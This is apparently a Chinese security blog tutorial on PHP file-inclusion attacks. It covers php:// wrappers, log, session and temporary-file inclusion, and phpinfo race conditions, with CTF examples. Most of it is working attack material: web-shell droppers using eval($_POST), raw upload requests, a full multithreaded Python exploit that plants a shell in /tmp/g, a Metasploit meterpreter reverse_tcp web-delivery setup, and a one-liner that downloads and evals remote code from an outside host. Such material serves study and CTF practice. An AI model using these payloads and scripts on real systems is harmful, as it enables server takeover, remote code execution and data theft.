# file include
来自 pikachu 的介绍:
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在 PHP 中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个 “意想不到” 的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:
**1. 本地文件包含漏洞:** 仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
**2. 远程文件包含漏洞:** 能够通过 url 地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
因此,在 web 应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
# PHP 伪协议
1 2 <?php include ($_GET ['file' ]);
文件包含函数 (php):
include
include_once
require
require_one
nclude 与 require 基本是相同的,除了错误处理方面:
include (),只生成警告(E_WARNING),并且脚本会继续
require (),会生成致命错误(E_COMPILE_ERROR)并停止脚本
include_once () 与 require ()_once (),如果文件已包含,则不会包含,其他特性如上
直接包含 php,html 文件会直接执行,对于 txt 文件或者 linux 下普通文件,可以直接读取
对于 php 伪协议,使用时需要注意 allow_url_open 和 allow_url_include ,有些伪协议会对此有限制,有些没有
# 1.file 协议
allow_url_fopen :off/on
allow_url_include:off/on
?file=file://D:/soft/phpStudy/WWW/phpcode.txt
# 2.php://filter
读取源代码并进行 base64 编码输出,不然会直接当做 php 代码执行就看不到源代码内容了。
allow_url_open=on/off
allow_url_include=on/off
?file=php://filter/read=convert.base64-encode/resource=web1.php
?file=php://filter/write=convert.base64-decode/resource=web1.php
可以访问请求的原始数据的只读流,将 post 请求中的数据作为 PHP 代码执行。http 方法为 get 时并不影响 input 接收 post 参数
allow_url_open=on/off
allow_url_include=on
当然也可以在 post 中写入一句话木马 <?php fputs(fopen('shell.php','w'),'<?php eval($_POST["cmd"]); ?>');?>
可以配合 file_get_contents 读文件或者 system 执行系统命令,或者写马
# 4.zip://,bzip2://, zlib://
allow_url_open=on/off
allow_url_include=on/off
# 4.1 zip://
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt
如果网站限制,可以将后缀改为 jgp,仍可以解析
需要将 #进行 url 编码
# 4.2 bzip2://
?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
# 4.3 zlib://
?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
# 5.data://
allow_url_open=on
allow_url_include=on
?file=data://text/plain,<?php phpinfo()?>
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
# 一些小题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <meta charset="utf8"> <?php error_reporting(0); $file = $_GET["file"]; if(stristr($file,"php://filter") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){ exit('hacker!'); } if($file){ if ($file!="http://www.baidu.com") echo "tips:flag在当前目录的某个文件中"; include($file); }else{ echo '<a href="?file=http://www.baidu.com">click go baidu</a>'; } ?> //file=php://input <post> <?php system('dir'); ?>
1 2 3 4 5 6 7 8 9 10 11 <?php show_source(__FILE__); include('flag.php'); $a= $_GET["a"]; if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){ echo "success\n"; echo $flag; } //a=php://input <post> I want flag //file_get_contents可以读取input流
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <meta charset="utf8"> <?php error_reporting(0); $file = $_GET["file"]; if (!$file) echo '<a href="?file=upload">upload?</a>'; if(stristr($file,"input")||stristr($file, "filter")||stristr($file,"data")/*||stristr($file,"phar")*/){ echo "hack?"; exit(); }else{ include($file); } ?> <!-- flag在当前目录的某个文件中 --> //?file=php://filter/read=convert.base64-encode/resource=flag.php
# CGI、FAST CGI,PHP FPM
CGI: 指的是 Web 服务器与 web 应用程序之间的一种数据交换协议。
FastCGI: 类似于 CGI,Fast-CGI 也是一种通信协议,但是它在 CGI 的基础上,在效率上做了一些优化。只有非静态文件才会被 fastcgi 处理
PHP-CGI: PHP-CGI 是 PHP 对 Web 服务器提供的 CGI 协议的接口程序,即实现了 CGI 协议的 php 解释器程序。它能解析 PHP,也能通过 CGI 与 web 服务器通信。
PHP-FPM: 是 PHP 对 Web 服务器提供的 FastCGI 协议的接口程序,即在实现解释 PHP 脚本和与 web 服务器通讯的基础上,额外还提供了相对进程调度、任务管理功能。fastcgi process manager
Apache/nginx 加载 php:
1. 通过 so 模块加载
2. 通过 fpm
3. 通过 cgi
最佳方式是 apache/Nginx + fastcgi + php fpm
因此 PHP-fpm 是一个 fastcgi 进程管理器,是对于 fastcgi 协议的具体体现
web 中间件和 phpfpm 的通信方式有两种
1.socket
2.TCP 模式
fastcgi 协议由多个 recode 组成,recode 由 header 和 body 组成,中间件将这两种封装好发送给后端
可见,一个 FastCGI record 结构最大支持的 body 大小是 2^16,也就是 65536 字节
recode 中有 type 字段,type 有七种,第 4 种 type 是给 fmp 传递环境参数时表名数据为 key-value 对
type=4 时,nginx 会将请求分为 key-value 形式,fpm 收到中间件发来的 key-value,最终执行 key 为 script_name,该 value 为你请求的路径
服务器中间件和后端语言(PHP-FPM)通信,第一个数据包就是 type 为 1 的 record,后续互相交流,发送 type 为 4、5、6、7 的 record,结束时发送 type 为 2、3 的 record
当后端语言(PHP-FPM)拿到由 Nginx 发过来的 FastCGl 数据包后,进行解析,得到上述这些环境变量。然后执行 SCRIPT_FILENAME 的值指向的 PHP 文件,也就是 /var/www/html/index.php
php-Cgi:
1) Cgi 协议的实现,用来解释 php 请求;过程: php 请求 ->php-Cgi 读取并解析 php.ini 文件,初始化环境 -> 根据请求参数,返回处理结果
2)单个进程只能处理一个请求,每一个进程,都需读取 php.ini 进行解析,效率较低
3)修改完 php.ini 文件,启动 php-Cgi 程序不会生效,无法平滑重启
# 日志包含
一般日志位置 /var/log/httpd/access.log
将木马写到日志中,知道日志文件名与路径,存在文件包含漏洞
首先在 url 中写入自己想要执行的内容,比如 127.0.0.1/inlcude?<?php phpinfo(); ?>
但 url 中会被编码,导致无法包含
1 2 3 219.144.164.44 - - [30/Oct/2022:16:33:08 +0800] "GET /html/html/flag.php HTTP/1.1" 200 1311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 SLBrowser/7.0.0.12151 SLBChan/23" 219.144.164.44 - - [30/Oct/2022:16:33:19 +0800] "GET /html/html/flag.php?%3C?php%20phpinfo();%20?%3E HTTP/1.1" 200 1311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 SLBrowser/7.0.0.12151 SLBChan/23"
可以通过抓包,修改为未编码的形式
1 2 3 219.144.164.44 - - [30/Oct/2022:16:38:47 +0800] "GET /html/html/flag.php?<?php phpinfo(); ?> HTTP/1.1" 200 1311 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36" 219.144.164.44 - - [30/Oct/2022:16:38:47 +0800] "GET /html/html/flag.php?<?php phpinfo(); ?> HTTP/1.1" 200 1311 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
在包含日志文件即可
防止文件包含:文件名包含随机数,定期分割文件,更改日志路径
如果是 bt 面板搭建的,记得关掉 open_basedir
open_basedir restriction in effect. 原因与解决方法 - 知乎 (zhihu.com)
# session 包含
前置知识~:cookie 与 session,这个我在 xss 的开头讲过了
session 目录:/var/llib/php/session
文件格式:sess_sessid
知道 session 的路径,可以控制 session 文件中的内容,存在文件包含
session 常见存储路径:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session 文件格式: sess_[phpsessid] ,而 phpsessid 在发送的请求的 cookie 字段中可以看到。
# 一道 CTF 关于 session 包含的题目
页面打开之后有 login 和 register 选项,并且点击后 url 长这样:
http://1.1.1.1/index.php?action=login.php http://1.1.1.1/index.php?action=register.php
很明显,这是通过 include 不同的文件加载不同的页面
那么就有可能存在文件包含漏洞了
尝试用 php://filter 读源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php require_once ('config.php' ); session_start (); if ($_SESSION ['username' ]) { header ('Location: index.php' ); exit ; } if ($_POST ['username' ] && $_POST ['password' ]) { $username = $_POST ['username' ]; $password = md5 ($_POST ['password' ]); $mysqli = @new mysqli ($dbhost , $dbuser , $dbpass , $dbname ); if ($mysqli ->connect_errno) { die ("could not connect to the database:\n" . $mysqli ->connect_error); } $sql = "select password from user where username=?" ; $stmt = $mysqli ->prepare ($sql ); $stmt ->bind_param ("s" , $username ); $stmt ->bind_result ($res_password ); $stmt ->execute (); $stmt ->fetch (); if ($res_password == $password ) { $_SESSION ['username' ] = base64_encode ($username ); header ("location:index.php" ); } else { die ("Invalid user name or password" ); } $stmt ->close (); $mysqli ->close (); } else { ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php if ($_POST ['username' ] && $_POST ['password' ]) { require_once ('config.php' ); $username = $_POST ['username' ]; $password = md5 ($_POST ['password' ]); $mysqli = @new mysqli ($dbhost , $dbuser , $dbpass , $dbname ); if ($mysqli ->connect_errno) { die ("could not connect to the database:\n" . $mysqli ->connect_error); } $mysqli ->set_charset ("utf8" ); $sql = "select * from user where username=?" ; $stmt = $mysqli ->prepare ($sql ); $stmt ->bind_param ("s" , $username ); $stmt ->bind_result ($res_id , $res_username , $res_password ); $stmt ->execute (); $stmt ->store_result (); $count = $stmt ->num_rows (); if ($count ) { die ('User name Already Exists' ); } else { $sql = "insert into user(username, password) values(?,?)" ; $stmt = $mysqli ->prepare ($sql ); $stmt ->bind_param ("ss" , $username , $password ); $stmt ->execute (); echo 'Register OK!<a href="index.php">Please Login</a>' ; } $stmt ->close (); $mysqli ->close (); } else { ?>
两个文件都是用 PDO 写的,不存在 sql 注入,config 是数据库用户名与密码,除非他的服务器允许外链,不然没用,index 就包含了两个页面
但我们注意到:
1 2 3 4 5 6 if ($res_password == $password ) { $_SESSION ['username' ] = base64_encode ($username ); header ("location:index.php" ); } else { die ("Invalid user name or password" ); }
这里使用了 session 来保存用户会话,php 手册中是这样描述的:
PHP 会将会话中的数据设置到 $_SESSION 变量中。
当 PHP 停止的时候,它会自动读取 $_SESSION 中的内容,并将其进行序列化,然后发送给会话保存管理器来进行保存。
对于文件会话保存管理器,会将会话数据保存到配置项 session.save_path 所指定的位置。
把我们的用户名 base64 编码后放到了 session 中
那么可能存在 session 包含了,session 包含的两个条件:1. 知道物理路径与 session 名称,物理路径我们是知道的,session 名称我们可以 f12 查看 2.session 可以写入并且被包含,这一点我们也是满足的
这样我们可以注册的时候用户名写我们的 php 代码,然后通过 session 包含
但 session 中是 base64 编码后的,不能直接包含,我们需要在包含前解码,php://filter 就是个很好的解码方法
注册如下用户名: hahaha ,密码随便写,最终在数据库中的是: username|s:12:"xxxxxxx" xxx 为我们用户名的 base64 编码,12 是 base64 编码的长度
但 base64 是有特性的他必须 8 位为一组,如果不够会把后面的字符抓过来,此时 username|s:12:" 正好是 15 个字符,为了增加一个字符,我们需要扩展我们的用户名,让他 base64 之后为 100 字符以上,这样我们前 16 个字符被解码为乱码,我们的 php 被正确包含
比如: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<?php eval($_GET['aaaaaa']) ?>
然后解码,正确包含
http://1.1.1.1/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&aaaaaa=phpinfo();
防御 session:
修改 session 默认路径和名称
设置 session 文件夹权限
# 临时文件包含
当文件上传时,先存储到临时文件夹,在移动到网站目录下,我们可以通过竞争在删除之前包含,文件名通过通配符找到
1. 先上传文件
2. 通过 file 覆盖前一个文件,匹配临时文件
3. 包含临时文件
如果是自己的 phpstudy 默认是没有开启
我们需要修改 upload_tmp_dir = “C:\Windows\Temp”
然后利用文件上传产生的缓存文件进行命令执行,从而 getshell
假设我们有一个前端页面可以上传文件,后端可以接收上传的文件并进行包含,那么我们就可以利用文件上传时上传到临时目录,在删除之前通过竞争包含
我们需要解决几个问题:
1. 如何找到我们的临时文件?
通过 >,在 Windows 中 > 可以当做通配符使用,很巧,php 的临时文件长这样 php678u,那么我们可以这样匹配 php>>>
2. 即使我们访问到临时文件,他依然会删除,怎么解决?
往他网站根目录下写 php 文件,即使我们的临时文件删除了,只要在删除之前包含了,那么我们在网站根目录下的文件就会生成
<?php fputs(fopen('E:\phpstudy_pro\www\aaaaa.php','w'),'<?php phpinfo(); ?>'); ?>
3. 如何构造上传包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 POST /xss_location/include/windows.php HTTP/1.1 Host: 172.16.60.64 Content-Length: 481 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://172.16.60.64 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary163SaL5Buko78Yfw User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://172.16.60.64/xss_location/include/windows.html Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=s3pod5ho262o336afdd8ljvkg7 Connection: close ------WebKitFormBoundary163SaL5Buko78Yfw Content-Disposition: form-data; name="file"; filename="flag.txt" Content-Type: text/plain <?php fputs(fopen('E:\phpstudy_pro\www\aaaaa.php','w'),'<?php phpinfo(); ?>'); ?> yes ------WebKitFormBoundary163SaL5Buko78Yfw Content-Disposition: form-data; name="file" C:\Windows\Temp\php<<<< ------WebKitFormBoundary163SaL5Buko78Yfw Content-Disposition: form-data; name="upload" upload ------WebKitFormBoundary163SaL5Buko78Yfw--
注意:下面几行是需要我们自己构造的
1 2 3 4 5 yes ------WebKitFormBoundary163SaL5Buko78Yfw Content-Disposition: form-data; name="file" C:\Windows\Temp\php<<<<
yes 的作用是包含成功后的提示符
name=file 是为了覆盖上一个 name=file,然后匹配临时文件
php>>>> 就是通配符了,上面解释过
记得空行的问题,如果报错尝试删除或增加空行
补充一下 windows 匹配
DOS_STAR:即 <,匹配 0 个以上的字符
DOS_QM:即 >,匹配 1 个字符
DOS_DOT:即 ",匹配点号
如果他的 php.ini 下没有设置 upload 这个东西的路径并且还有;,也就是没有设置。
那么我们也可以直接读取任意文件
其实也没必要非得文件上传了,本来文件包含后就可以读取了
临时文件包含条件:
1.php.ini 中的 upload_tmp_dir 下必须有 C:/Windows/Temp 这个路径
2. 得有写入的权限(这个默认应该都可以)
3.$_REQUEST 得有,因为他是获取表单信息的一个数组,如果没有它,那么我们就不能进行文件上传来打。
# SSH 文件包含
假设有如下文件:
1 2 3 4 5 6 7 8 <?php $file = $_GET ['file' ]; if (isset ($file )) { include ("$file " ); } else { include ("index.php" ); } ?>
那么我们就可以包含任意文件,比如 /etc/passwd
[101.35.139.208:9999/lfi.php?file=file:///etc/passwd](http://101.35.139.208:9999/lfi.php?file=file:///etc/passwd)
那么意味着我们其实也可以包含 ssh log
先看一眼 ssh log 里面有啥
加入我们登录时构造这样的用户名 ssh root<?php phpinfo();?>@101.35.139.208
那么在我们的 ssh log 中就会存在以下日志
试着包含一下?
但是文件很大,你忍一下
记得在包含前,设置文件的权限 chmod 775 secure
也可以写马,比如
如果报错 system() has been disabled for security reasons ,无法包含,
把这里的 disable_function 中的你需要使用的函数去掉,重启
service php-fpm restart
web 传递 cs msf
msf
1 2 3 4 5 6 use exploit/multi/script/web_delivery msf exploit (web_delivery)>set target 1 msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp msf exploit (web_delivery)> set lhost 192.168.1.123 msf exploit (web_delivery)>set srvport 8081 msf exploit (web_delivery)>exploit
执行 msf 给出的命令
http://10.128.50.84:18888/lfi.php?file=./shabi.php&cmd=php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.13.133:9891/GEZgpb8cVDe', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"
CS web delivery
# 包含 / PROC/SELF/ENVIRON
并不能包含这东西~
1 2 [root@VM-16-11-centos CobaltStrike4.1]# ls -al /proc/self/environ -r-------- 1 root root 0 Nov 1 14:56 /proc/self/environ
而且不能 chmod 改变权限
1 2 [root@VM-16-11-centos CobaltStrike4.1]# chmod 755 /proc/self/environ chmod: changing permissions of ‘/proc/self/environ’: Operation not permitted
也不能修改特殊权限位
1 2 [root@VM-16-11-centos CobaltStrike4.1]# lsattr /proc/self/environ lsattr: Inappropriate ioctl for device While reading flags on /proc/self/environ
关于 chattr
1 2 3 4 5 6 7 [root@VM-16-11-centos lighthouse]# chattr +i 11111.exe [root@VM-16-11-centos lighthouse]# rm -rf 11111.exe rm: cannot remove ‘11111.exe’: Operation not permitted [root@VM-16-11-centos lighthouse]# lsattr 11111.exe ----i--------e-- 11111.exe [root@VM-16-11-centos lighthouse]# chattr -i 11111.exe [root@VM-16-11-centos lighthouse]# rm -rf 11111.exe
# phpinfo 文件包含
php 5.x
1 2 3 4 5 6 7 8 Configuration File (php.ini) Path C:\Windows Loaded Configuration File D:\BtSoft\php\54\php.ini PHP Version 5.4.45 allow_url_fopen On On allow_url_include On On session.save_path D:\BtSoft\temp\session D:\BtSoft\temp\session disable_functions no value no value _SERVER["*********"] C:\Windows
http://127.0.0.1:18888/phpinfo.php 我们可以向 phpinfo 中 post 参数,虽然没有接收,但会生成临时文件,我们可以利用时间竞争包含
当然可以向任意 php 文件 post 文件,服务器都会将他保存到一个临时文件中,只是如果没有 phpinfo,临时文件名很难猜。然而 phpinfo 中会有文件名和路径的输出
1 2 3 4 5 6 7 8 9 10 11 import requestsfrom io import BytesIOimport refiles = { 'file' : "<?php echo 'yanchuang is cool!';" } url = "http://172.16.60.64/xss_location/include/phpinfo.php" r = requests.post(url=url, files=files, allow_redirects=False ) data = re.search("(?<=tmp_name] => ).*" , r.content.decode('utf-8' )).group(0 ) print (data)
为了延缓删除临时文件,我们需要 post 更长的文件,通知启用大量线程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 import sysimport threadingimport socketimport timedef setup (host, port ): TAG = "Security Test" PAYLOAD = """%s\r <?php fputs(fopen('/tmp/g','w'),'<?php @eval($_POST[a]);')?>\r""" % TAG REQ1_DATA = """-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r %s -----------------------------7dbff1ded0714--\r""" % PAYLOAD padding = "A" * 5000 REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\r HTTP_ACCEPT: """ + padding + """\r HTTP_USER_AGENT: """ + padding + """\r HTTP_ACCEPT_LANGUAGE: """ + padding + """\r HTTP_PRAGMA: """ + padding + """\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: %s\r Host: %s\r \r %s""" % (len (REQ1_DATA), host, REQ1_DATA) LFIREQ = """GET /lfi.php?file=%s HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: %s\r \r \r """ return (REQ1, TAG, LFIREQ) def phpInfoLFI (host, port, phpinforeq, offset, lfireq, tag ): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s2.connect((host, port)) s.send(phpinforeq) d = "" while len (d) < offset: d += s.recv(offset) try : i = d.index("[tmp_name] => " ) fn = d[i + 17 :i + 44 ] except ValueError: return None s2.send(lfireq % (fn, host)) d = s2.recv(4096 ) s.close() s2.close() if d.find(tag) != -1 : return fn counter = 0 class ThreadWorker (threading.Thread): def __init__ (self, e, l, m, *args ): threading.Thread.__init__(self) self.event = e self.lock = l self.maxattempts = m self.args = args def run (self ): global counter while not self.event.is_set(): with self.lock: if counter >= self.maxattempts: return counter += 1 try : x = phpInfoLFI(*self.args) if self.event.is_set(): break if x: print "\nGot it! Shell created in /tmp/g" self.event.set () except socket.error: return def getOffset (host, port, phpinforeq ): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(phpinforeq) d = "" while True : i = s.recv(4096 ) d += i if i == "" : break if i.endswith("0\r\n\r\n" ): break s.close() i = d.find("[tmp_name] => " ) if i == -1 : raise ValueError("No php tmp_name in phpinfo output" ) print "found %s at %i" % (d[i:i + 10 ], i) return i + 256 def main (): print "LFI With PHPInfo()" print "-=" * 30 if len (sys.argv) < 2 : print "Usage: %s host [port] [threads]" % sys.argv[0 ] sys.exit(1 ) try : host = socket.gethostbyname(sys.argv[1 ]) except socket.error, e: print "Error with hostname %s: %s" % (sys.argv[1 ], e) sys.exit(1 ) port = 80 try : port = int (sys.argv[2 ]) except IndexError: pass except ValueError, e: print "Error with port %d: %s" % (sys.argv[2 ], e) sys.exit(1 ) poolsz = 10 try : poolsz = int (sys.argv[3 ]) except IndexError: pass except ValueError, e: print "Error with poolsz %d: %s" % (sys.argv[3 ], e) sys.exit(1 ) print "Getting initial offset..." , reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) sys.stdout.flush() maxattempts = 1000 e = threading.Event() l = threading.Lock() print "Spawning worker pool (%d)..." % poolsz sys.stdout.flush() tp = [] for i in range (0 , poolsz): tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag)) for t in tp: t.start() try : while not e.wait(1 ): if e.is_set(): break with l: sys.stdout.write("\r% 4d / % 4d" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break print if e.is_set(): print "Woot! \m/" else : print ":(" except KeyboardInterrupt: print "\nTelling threads to shutdown..." e.set () print "Shuttin' down..." for t in tp: t.join() if __name__ == "__main__" : main()
# LFI+php7 collapse
php 7.0-7.1.19
当不存在 phpinfo 时,可以利用 php7 的特性
http://ip/index.php?file=php://filter/string.strip_tags=/etc/passwd 导致 php 崩溃,临时文件遗留了下来
在上传时抓包,使用以上 payload 进行崩溃
接下来需要找到刚刚的临时文件
1 2 3 4 5 6 <?php $a = @$_GET['dir']; if(!$a){ $a = '/tmp'; } var_dump(scandir($a));
然后写 shell 包含随便搞
两种崩溃方法:
抓包时修改
先写个文件上传页面,上传时抓包,修改 url 和文件内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 POST /upload_file.php?file=php://filter/read=convert.base64-encode/resource=index.php HTTP/1.1 Host: 127.0.0.1:18888 Content-Length: 290 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: http://127.0.0.1:18888 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6O4h5F4Qzy538QaC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://127.0.0.1:18888/file_upload.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=9pji5c42u9migge868i8u083r7; ZDEDebuggerPresent=php,phtml,php3 Connection: close ------WebKitFormBoundary6O4h5F4Qzy538QaC Content-Disposition: form-data; name="file"; filename="123.txt" Content-Type: text/plain <?php phpinfo(); ?> ------WebKitFormBoundary6O4h5F4Qzy538QaC Content-Disposition: form-data; name="submit" 提交 ------WebKitFormBoundary6O4h5F4Qzy538QaC--
写 python 包崩溃
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requests from io import BytesIO import re files = { 'file': BytesIO('<?php eval($_REQUEST[sky]);') } url = 'http://ip/index.php?file=php://filter/string.strip_tags/resource=/etc/passwd' try: r = requests.post(url=url, files=files, allow_redirects=False) except: url = 'http://ip/dir.php' r = requests.get(url) data = re.search(r"php[a-zA-Z0-9]{1,}", r.content).group(0) url = "http://ip/index.php?file=/tmp/"+data data = { 'sky':"readfile('/flag');" } r = requests.post(url=url,data=data) print r.content
# docker 中文件包含
1. 包含日志文件
1 2 access.log -> /dev/stdout error.log -> /dev/stderr
此时日志被重定向到标准输出中,不能包含
此时包含这些 Web 日志会出现 include(/dev/pts/0): failed to open stream: Permission denied 的错误,因为 PHP 没有权限包含设备文件:
远程包含因为默认不开启,所以我们也不作为一个候选项,想要 getshell 还是需要找到一个可以控制内容的文件进行包含。
2.phpinfo 文件包含
同样 post 一个大文件,然后利用时间竞争
脚本和之前的脚本类似,但更改了切片的位置
fn = d[i+17:i+31]
3.Windows 中通配符
在临时文件包含中,我们详细讲过通配符
DOS_STAR:即 < ,匹配 0 个以上的字符
DOS_QM:即 > ,匹配 1 个字符
DOS_DOT:即 " ,匹配点号
有了通配符,我们就可以匹配临时文件,并修改其内容
一般我们会用 fputs 和 fopen 写到临时文件中,这样临时文件即使删除,我们可以将我们的马写到其他的目录中
4.session.upload_progress
php version > 7
session.auto_start 顾名思义,如果开启这个选项,则 PHP 在接收请求的时候会自动初始化 Session,不再需要执行 session_start ()。但默认情况下,也是通常情况下,这个选项都是关闭的。
session.upload_progress 最初是 PHP 为上传进度条设计的一个功能,在上传文件较大的情况下,PHP 将进行流式上传,并将进度信息放在 Session 中(包含用户可控的值),即使此时用户没有初始化 Session,PHP 也会自动初始化 Session。
PHP 在开启了 session.upload_progress.enable 后(在包括 Docker 的大部分环境下默认是开启的),将会把用户上传文件的信息保存在 Session 中,而 PHP 的 Session 默认是保存在文件里的。
利用条件:
目标环境开启了 session.upload_progress.enable 选项
发送一个文件上传请求,其中包含一个文件表单和一个名字是 PHP_SESSION_UPLOAD_PROGRESS 的字段
请求的 Cookie 中包含 Session ID
构造如下上传包
1 2 3 4 5 <form action="upload_file.php" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo(); ?>" /> <input type="submit" name="submit" value="提交">
上传抓包时设置 cookie: PHPSESSID=hahaha
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 POST /web10.php HTTP/1.1 Host: 127.0.0.1:18888 Content-Length: 426 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: http://127.0.0.1:18888 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfiKjPC47H7ESbbdB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://127.0.0.1:18888/file_upload.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=2333333; ZDEDebuggerPresent=php,phtml,php3 Connection: close ------WebKitFormBoundaryfiKjPC47H7ESbbdB Content-Disposition: form-data; name="file"; filename="123.txt" Content-Type: text/plain nishishabi ------WebKitFormBoundaryfiKjPC47H7ESbbdB Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" <!DOCTYPE html PUBLIC ------WebKitFormBoundaryfiKjPC47H7ESbbdB Content-Disposition: form-data; name="submit" 提交 